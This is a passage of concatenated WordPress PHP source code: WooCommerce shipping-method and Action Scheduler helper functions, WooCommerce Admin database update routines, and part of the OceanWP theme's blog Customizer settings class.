$package ) { $chosen_methods = WC()->session->get( 'chosen_shipping_methods' ); $chosen_method = isset( $chosen_methods[ $key ] ) ? $chosen_methods[ $key ] : false; $changed = wc_shipping_methods_have_changed( $key, $package ); // This is deprecated but here for BW compat. TODO: Remove in 4.0.0. $method_counts = WC()->session->get( 'shipping_method_counts' ); if ( ! empty( $method_counts[ $key ] ) ) { $method_count = absint( $method_counts[ $key ] ); } else { $method_count = 0; } // If not set, not available, or available methods have changed, set to the DEFAULT option. if ( ! $chosen_method || $changed || ! isset( $package['rates'][ $chosen_method ] ) || count( $package['rates'] ) !== $method_count ) { $chosen_method = wc_get_default_shipping_method_for_package( $key, $package, $chosen_method ); $chosen_methods[ $key ] = $chosen_method; $method_counts[ $key ] = count( $package['rates'] ); WC()->session->set( 'chosen_shipping_methods', $chosen_methods ); WC()->session->set( 'shipping_method_counts', $method_counts ); do_action( 'woocommerce_shipping_method_chosen', $chosen_method ); } return $chosen_method; } /** * Choose the default method for a package. * * @since 3.2.0 * @param int $key Key of package. * @param array $package Package data array. * @param string $chosen_method Chosen method id. * @return string */ function wc_get_default_shipping_method_for_package( $key, $package, $chosen_method ) { $rate_keys = array_keys( $package['rates'] ); $default = current( $rate_keys ); $coupons = WC()->cart->get_coupons(); foreach ( $coupons as $coupon ) { if ( $coupon->get_free_shipping() ) { foreach ( $rate_keys as $rate_key ) { if ( 0 === stripos( $rate_key, 'free_shipping' ) ) { $default = $rate_key; break; } } break; } } return apply_filters( 'woocommerce_shipping_chosen_method', $default, $package['rates'], $chosen_method ); } /** * See if the methods have changed since the last request. * * @since 3.2.0 * @param int $key Key of package. * @param array $package Package data array. * @return bool */ function wc_shipping_methods_have_changed( $key, $package ) { // Lookup previous methods from session. $previous_shipping_methods = WC()->session->get( 'previous_shipping_methods' ); // Get new and old rates. $new_rates = array_keys( $package['rates'] ); $prev_rates = isset( $previous_shipping_methods[ $key ] ) ? $previous_shipping_methods[ $key ] : false; // Update session. $previous_shipping_methods[ $key ] = $new_rates; WC()->session->set( 'previous_shipping_methods', $previous_shipping_methods ); return $new_rates !== $prev_rates; } /** * Gets a hash of important product data that when changed should cause cart items to be invalidated. * * The woocommerce_cart_item_data_to_validate filter can be used to add custom properties. * * @param WC_Product $product Product object. * @return string */ function wc_get_cart_item_data_hash( $product ) { return md5( wp_json_encode( apply_filters( 'woocommerce_cart_item_data_to_validate', array( 'type' => $product->get_type(), 'attributes' => 'variation' === $product->get_type() ? $product->get_variation_attributes() : '', ), $product ) ) ); }/** * Deprecated API functions for scheduling actions * * Functions with the wc prefix were deprecated to avoid confusion with * Action Scheduler being included in WooCommerce core, and it providing * a different set of APIs for working with the action queue. */ /** * Schedule an action to run one time * * @param int $timestamp When the job will run * @param string $hook The hook to trigger * @param array $args Arguments to pass when the hook triggers * @param string $group The group to assign this job to * * @return string The job ID */ function wc_schedule_single_action( $timestamp, $hook, $args = array(), $group = '' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_single_action()' ); return as_schedule_single_action( $timestamp, $hook, $args, $group ); } /** * Schedule a recurring action * * @param int $timestamp When the first instance of the job will run * @param int $interval_in_seconds How long to wait between runs * @param string $hook The hook to trigger * @param array $args Arguments to pass when the hook triggers * @param string $group The group to assign this job to * * @deprecated 2.1.0 * * @return string The job ID */ function wc_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args = array(), $group = '' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_recurring_action()' ); return as_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args, $group ); } /** * Schedule an action that recurs on a cron-like schedule. * * @param int $timestamp The schedule will start on or after this time * @param string $schedule A cron-link schedule string * @see http://en.wikipedia.org/wiki/Cron * * * * * * * * ┬ ┬ ┬ ┬ ┬ ┬ * | | | | | | * | | | | | + year [optional] * | | | | +----- day of week (0 - 7) (Sunday=0 or 7) * | | | +---------- month (1 - 12) * | | +--------------- day of month (1 - 31) * | +-------------------- hour (0 - 23) * +------------------------- min (0 - 59) * @param string $hook The hook to trigger * @param array $args Arguments to pass when the hook triggers * @param string $group The group to assign this job to * * @deprecated 2.1.0 * * @return string The job ID */ function wc_schedule_cron_action( $timestamp, $schedule, $hook, $args = array(), $group = '' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_cron_action()' ); return as_schedule_cron_action( $timestamp, $schedule, $hook, $args, $group ); } /** * Cancel the next occurrence of a job. * * @param string $hook The hook that the job will trigger * @param array $args Args that would have been passed to the job * @param string $group * * @deprecated 2.1.0 */ function wc_unschedule_action( $hook, $args = array(), $group = '' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_unschedule_action()' ); as_unschedule_action( $hook, $args, $group ); } /** * @param string $hook * @param array $args * @param string $group * * @deprecated 2.1.0 * * @return int|bool The timestamp for the next occurrence, or false if nothing was found */ function wc_next_scheduled_action( $hook, $args = NULL, $group = '' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_next_scheduled_action()' ); return as_next_scheduled_action( $hook, $args, $group ); } /** * Find scheduled actions * * @param array $args Possible arguments, with their default values: * 'hook' => '' - the name of the action that will be triggered * 'args' => NULL - the args array that will be passed with the action * 'date' => NULL - the scheduled date of the action. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone. * 'date_compare' => '<=' - operator for testing "date". accepted values are '!=', '>', '>=', '<', '<=', '=' * 'modified' => NULL - the date the action was last updated. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone. * 'modified_compare' => '<=' - operator for testing "modified". accepted values are '!=', '>', '>=', '<', '<=', '=' * 'group' => '' - the group the action belongs to * 'status' => '' - ActionScheduler_Store::STATUS_COMPLETE or ActionScheduler_Store::STATUS_PENDING * 'claimed' => NULL - TRUE to find claimed actions, FALSE to find unclaimed actions, a string to find a specific claim ID * 'per_page' => 5 - Number of results to return * 'offset' => 0 * 'orderby' => 'date' - accepted values are 'hook', 'group', 'modified', or 'date' * 'order' => 'ASC' * @param string $return_format OBJECT, ARRAY_A, or ids * * @deprecated 2.1.0 * * @return array */ function wc_get_scheduled_actions( $args = array(), $return_format = OBJECT ) { _deprecated_function( __FUNCTION__, '2.1.0', 'as_get_scheduled_actions()' ); return as_get_scheduled_actions( $args, $return_format ); }defined( 'ABSPATH' ) || exit; /** * Show swatches on archive page * * @deprecated 2.0.0 - Use "woo_variation_swatches()->show_archive_page_swatches()" instead. */ if ( ! function_exists( 'wvs_pro_archive_variation_template' ) ) { function wvs_pro_archive_variation_template() { wc_deprecated_function( __FUNCTION__, '2.0.0', 'woo_variation_swatches()->show_archive_page_swatches()' ); woo_variation_swatches()->show_archive_page_swatches(); } }/** * WooCommerce Admin Updates * * Functions for updating data, used by the background updater. * * @package WooCommerce\Admin */ use \Automattic\WooCommerce\Admin\Features\OnboardingTasks\TaskLists; use \Automattic\WooCommerce\Admin\Notes\Notes; use \Automattic\WooCommerce\Internal\Admin\Notes\UnsecuredReportFiles; use \Automattic\WooCommerce\Admin\ReportExporter; /** * Update order stats `status` index length. * See: https://github.com/woocommerce/woocommerce-admin/issues/2969. */ function wc_admin_update_0201_order_status_index() { global $wpdb; // Max DB index length. See wp_get_db_schema(). $max_index_length = 191; $index = $wpdb->get_row( "SHOW INDEX FROM {$wpdb->prefix}wc_order_stats WHERE key_name = 'status'" ); if ( property_exists( $index, 'Sub_part' ) ) { // The index was created with the right length. Time to bail. if ( $max_index_length === $index->Sub_part ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName return; } // We need to drop the index so it can be recreated. $wpdb->query( "DROP INDEX `status` ON {$wpdb->prefix}wc_order_stats" ); } // Recreate the status index with a max length. $wpdb->query( $wpdb->prepare( "ALTER TABLE {$wpdb->prefix}wc_order_stats ADD INDEX status (status(%d))", $max_index_length ) ); } /** * Rename "gross_total" to "total_sales". * See: https://github.com/woocommerce/woocommerce-admin/issues/3175 */ function wc_admin_update_0230_rename_gross_total() { global $wpdb; // We first need to drop the new `total_sales` column, since dbDelta() will have created it. $wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_order_stats DROP COLUMN `total_sales`" ); // Then we can rename the existing `gross_total` column. $wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_order_stats CHANGE COLUMN `gross_total` `total_sales` double DEFAULT 0 NOT NULL" ); } /** * Remove the note unsnoozing scheduled action. */ function wc_admin_update_0251_remove_unsnooze_action() { as_unschedule_action( Notes::UNSNOOZE_HOOK, null, 'wc-admin-data' ); as_unschedule_action( Notes::UNSNOOZE_HOOK, null, 'wc-admin-notes' ); } /** * Remove Facebook Extension note. */ function wc_admin_update_110_remove_facebook_note() { Notes::delete_notes_with_name( 'wc-admin-facebook-extension' ); } /** * Remove Dismiss action from tracking opt-in admin note. */ function wc_admin_update_130_remove_dismiss_action_from_tracking_opt_in_note() { global $wpdb; $wpdb->query( "DELETE actions FROM {$wpdb->prefix}wc_admin_note_actions actions INNER JOIN {$wpdb->prefix}wc_admin_notes notes USING (note_id) WHERE actions.name = 'tracking-dismiss' AND notes.name = 'wc-admin-usage-tracking-opt-in'" ); } /** * Update DB Version. */ function wc_admin_update_130_db_version() { Installer::update_db_version( '1.3.0' ); } /** * Update DB Version. */ function wc_admin_update_140_db_version() { Installer::update_db_version( '1.4.0' ); } /** * Remove Facebook Experts note. */ function wc_admin_update_160_remove_facebook_note() { Notes::delete_notes_with_name( 'wc-admin-facebook-marketing-expert' ); } /** * Set "two column" homescreen layout as default for existing stores. */ function wc_admin_update_170_homescreen_layout() { add_option( 'woocommerce_default_homepage_layout', 'two_columns', '', 'no' ); } /** * Delete the preexisting export files. */ function wc_admin_update_270_delete_report_downloads() { $upload_dir = wp_upload_dir(); $base_dir = trailingslashit( $upload_dir['basedir'] ); $failed_files = array(); $exports_status = get_option( ReportExporter::EXPORT_STATUS_OPTION, array() ); $has_failure = false; if ( ! is_array( $exports_status ) ) { // This is essentially the same path as files failing deletion. Handle as such. return; } // Delete all export files based on the status option values. foreach ( $exports_status as $key => $progress ) { list( $report_type, $export_id ) = explode( ':', $key ); if ( ! $export_id ) { continue; } $file = "{$base_dir}wc-{$report_type}-report-export-{$export_id}.csv"; $header = $file . '.headers'; // phpcs:ignore if ( @file_exists( $file ) && false === @unlink( $file ) ) { array_push( $failed_files, $file ); } // phpcs:ignore if ( @file_exists( $header ) && false === @unlink( $header ) ) { array_push( $failed_files, $header ); } } // If the status option was missing or corrupt, there will be files left over. $potential_exports = glob( $base_dir . 'wc-*-report-export-*.csv' ); $reports_pattern = '(revenue|products|variations|orders|categories|coupons|taxes|stock|customers|downloads)'; /** * Look for files we can be reasonably sure were created by the report export. * * Export files we created will match the 'wc-*-report-export-*.csv' glob, with * the first wildcard being one of the exportable report slugs, and the second * being an integer with 11-14 digits (from microtime()'s output) that represents * a time in the past. */ foreach ( $potential_exports as $potential_export ) { $matches = array(); // See if the filename matches an unfiltered export pattern. if ( ! preg_match( "/wc-{$reports_pattern}-report-export-(?P\d{11,14})\.csv\$/", $potential_export, $matches ) ) { $has_failure = true; continue; } // Validate the timestamp (anything in the past). $timestamp = (int) substr( $matches['export_id'], 0, 10 ); if ( ! $timestamp || $timestamp > time() ) { $has_failure = true; continue; } // phpcs:ignore if ( false === @unlink( $potential_export ) ) { array_push( $failed_files, $potential_export ); } } // Try deleting failed files once more. foreach ( $failed_files as $failed_file ) { // phpcs:ignore if ( false === @unlink( $failed_file ) ) { $has_failure = true; } } if ( $has_failure ) { UnsecuredReportFiles::possibly_add_note(); } } /** * Update the old task list options. */ function wc_admin_update_271_update_task_list_options() { $hidden_lists = get_option( 'woocommerce_task_list_hidden_lists', array() ); $setup_list_hidden = get_option( 'woocommerce_task_list_hidden', 'no' ); $extended_list_hidden = get_option( 'woocommerce_extended_task_list_hidden', 'no' ); if ( 'yes' === $setup_list_hidden ) { $hidden_lists[] = 'setup'; } if ( 'yes' === $extended_list_hidden ) { $hidden_lists[] = 'extended'; } update_option( 'woocommerce_task_list_hidden_lists', array_unique( $hidden_lists ) ); delete_option( 'woocommerce_task_list_hidden' ); delete_option( 'woocommerce_extended_task_list_hidden' ); } /** * Update order stats `status`. */ function wc_admin_update_280_order_status() { global $wpdb; $wpdb->query( "UPDATE {$wpdb->prefix}wc_order_stats refunds INNER JOIN {$wpdb->prefix}wc_order_stats orders ON orders.order_id = refunds.parent_id SET refunds.status = orders.status WHERE refunds.parent_id != 0" ); } /** * Update the old task list options. */ function wc_admin_update_290_update_apperance_task_option() { $is_actioned = get_option( 'woocommerce_task_list_appearance_complete', false ); $task = TaskLists::get_task( 'appearance' ); if ( $task && $is_actioned ) { $task->mark_actioned(); } delete_option( 'woocommerce_task_list_appearance_complete' ); } /** * Delete the old woocommerce_default_homepage_layout option. */ function wc_admin_update_290_delete_default_homepage_layout_option() { delete_option( 'woocommerce_default_homepage_layout' ); } /** * Use woocommerce_admin_activity_panel_inbox_last_read from the user meta to set wc_admin_notes.is_read col. */ function wc_admin_update_300_update_is_read_from_last_read() { global $wpdb; $meta_key = 'woocommerce_admin_activity_panel_inbox_last_read'; // phpcs:ignore $users = get_users( "meta_key={$meta_key}&orderby={$meta_key}&fields=all_with_meta&number=1" ); if ( count( $users ) ) { $last_read = current( $users )->{$meta_key}; $date_in_utc = gmdate( 'Y-m-d H:i:s', intval( $last_read ) / 1000 ); $wpdb->query( $wpdb->prepare( " update {$wpdb->prefix}wc_admin_notes set is_read = 1 where date_created <= %s", $date_in_utc ) ); $wpdb->query( $wpdb->prepare( "delete from {$wpdb->usermeta} where meta_key=%s", $meta_key ) ); } } /** * Delete "is_primary" column from the wc_admin_notes table. */ function wc_admin_update_340_remove_is_primary_from_note_action() { global $wpdb; $wpdb->query( "ALTER TABLE {$wpdb->prefix}wc_admin_note_actions DROP COLUMN `is_primary`" ); } /** * Delete the deprecated remote inbox notifications option since transients are now used. */ function wc_update_670_delete_deprecated_remote_inbox_notifications_option() { delete_option( 'wc_remote_inbox_notifications_specs' ); }/** * Blog Customizer Options * * @package Ocean WordPress theme */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'OceanWP_Blog_Customizer' ) ) : /** * Settings for blog */ class OceanWP_Blog_Customizer { /** * Setup class. * * @since 1.0 */ public function __construct() { add_action( 'customize_register', array( $this, 'customizer_options' ) ); add_filter( 'ocean_head_css', array( $this, 'head_css' ) ); } /** * Customizer options * * @param WP_Customize_Manager $wp_customize Reference to WP_Customize_Manager. * @since 1.0.0 */ public function customizer_options( $wp_customize ) { /** * Panel */ $panel = 'ocean_blog'; $wp_customize->add_panel( $panel, array( 'title' => esc_html__( 'Blog', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_blog_entries', array( 'title' => esc_html__( 'Blog Entries', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Archives & Entries Layout */ $wp_customize->add_setting( 'ocean_blog_archives_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_blog_archives_layout', array( 'label' => esc_html__( 'Archives & Entries Layout', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_blog_archives_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_blog_entries_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_blog_archives_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_archives_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_archives_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_blog_entries_rl_layout', ) ) ); /** * Blog Title Heading Tag */ $wp_customize->add_setting( 'ocean_blog_entries_heading_tag', array( 'default' => 'h2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entries_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entries_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Blog Image Overlay */ $wp_customize->add_setting( 'ocean_blog_image_overlay', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_image_overlay', array( 'label' => esc_html__( 'Add Overlay On image Hover', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_image_overlay', 'priority' => 10, ) ) ); /** * Blog Style */ $wp_customize->add_setting( 'ocean_blog_style', array( 'default' => 'large-entry', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_style', array( 'label' => esc_html__( 'Blog Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_style', 'priority' => 10, 'choices' => array( 'large-entry' => esc_html__( 'Large Image', 'oceanwp' ), 'grid-entry' => esc_html__( 'Grid', 'oceanwp' ), 'thumbnail-entry' => esc_html__( 'Thumbnail', 'oceanwp' ) ), ) ) ); /** * Blog Grid Images Size */ $wp_customize->add_setting( 'ocean_blog_grid_images_size', array( 'default' => 'medium', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_images_size', array( 'label' => esc_html__( 'Images Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_images_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => apply_filters( 'ocean_blog_grid_images_size', array( 'thumbnail' => esc_html__( 'Thumbnail', 'oceanwp' ), 'medium' => esc_html__( 'Medium', 'oceanwp' ), 'medium_large' => esc_html__( 'Medium Large', 'oceanwp' ), 'large' => esc_html__( 'Large', 'oceanwp' ), ) ), ) ) ); /** * Blog Grid Columns */ $wp_customize->add_setting( 'ocean_blog_grid_columns', array( 'default' => '2', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_columns', array( 'label' => esc_html__( 'Grid Columns', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_columns', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => array( '2' => '2', '3' => '3', '4' => '4', '5' => '5', '6' => '6', ), ) ) ); /** * Blog Grid Style */ $wp_customize->add_setting( 'ocean_blog_grid_style', array( 'default' => 'fit-rows', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_style', array( 'label' => esc_html__( 'Grid Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_style', 'priority' => 10, 'active_callback' => 'oceanwp_cac_grid_blog_style', 'choices' => array( 'fit-rows' => esc_html__( 'Fit Rows', 'oceanwp' ), 'masonry' => esc_html__( 'Masonry', 'oceanwp' ), ), ) ) ); /** * Blog Grid Equal Heights */ $wp_customize->add_setting( 'ocean_blog_grid_equal_heights', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_grid_equal_heights', array( 'label' => esc_html__( 'Equal Heights', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_grid_equal_heights', 'priority' => 10, 'active_callback' => 'oceanwp_cac_blog_supports_equal_heights', ) ) ); /** * Blog Thumbnail Image Position */ $wp_customize->add_setting( 'ocean_blog_thumbnail_image_position', array( 'default' => 'left', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_thumbnail_image_position', array( 'label' => esc_html__( 'Image Position', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_image_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Vertical Position */ $wp_customize->add_setting( 'ocean_blog_thumbnail_vertical_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_blog_thumbnail_vertical_position', array( 'label' => esc_html__( 'Vertical Position', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_vertical_position', 'priority' => 10, 'choices' => array( 'top' => esc_html__( 'Top', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'bottom' => esc_html__( 'Bottom', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Image Width */ $wp_customize->add_setting( 'ocean_blog_entry_image_width', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entry_image_width', array( 'label' => esc_html__( 'Custom Image Width (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_image_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Image Height */ $wp_customize->add_setting( 'ocean_blog_entry_image_height', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_entry_image_height', array( 'label' => esc_html__( 'Custom Image Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Blog Thumbnail Category Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_category_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_category_color', array( 'label' => esc_html__( 'Category Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_category_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Category Hover Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_category_hover_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_category_hover_color', array( 'label' => esc_html__( 'Category Hover Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_category_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Comments Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_comments_color', array( 'transport' => 'postMessage', 'default' => '#ababab', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_comments_color', array( 'label' => esc_html__( 'Comments Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_comments_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Comments Hover Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_comments_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_comments_hover_color', array( 'label' => esc_html__( 'Comments Hover Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_comments_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Thumbnail Date Color */ $wp_customize->add_setting( 'ocean_blog_thumbnail_date_color', array( 'transport' => 'postMessage', 'default' => '#ababab', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_thumbnail_date_color', array( 'label' => esc_html__( 'Date Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_thumbnail_date_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_thumbnail_blog_style', ) ) ); /** * Blog Excerpt Length */ $wp_customize->add_setting( 'ocean_blog_entry_excerpt_length', array( 'default' => '30', 'sanitize_callback' => false, ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_blog_entry_excerpt_length', array( 'label' => esc_html__( 'Excerpt Length', 'oceanwp' ), 'description' => esc_html__( 'Add 500 to display full content', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_entry_excerpt_length', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 500, 'step' => 1, ), ) ) ); /** * Blog Pagination Style */ $wp_customize->add_setting( 'ocean_blog_pagination_style', array( 'default' => 'standard', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_blog_pagination_style', array( 'label' => esc_html__( 'Blog Pagination Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_blog_entries', 'settings' => 'ocean_blog_pagination_style', 'priority' => 10, 'choices' => array( 'standard' => esc_html__( 'Standard', 'oceanwp' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'oceanwp' ), 'next_prev' => esc_html__( 'Next/Prev', 'oceanwp' ), ), ) ) ); /** * Infinite Scroll: Spinners Color */ $wp_customize->add_setting( 'ocean_blog_infinite_scroll_spinners_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_blog_infinite_scroll_spinners_color', array( 'label' => esc_html__( 'Infinite Scroll: Spinners Color', 'oceanwp' ), 'section' => 'ocean_blog_entries', 'settings' => 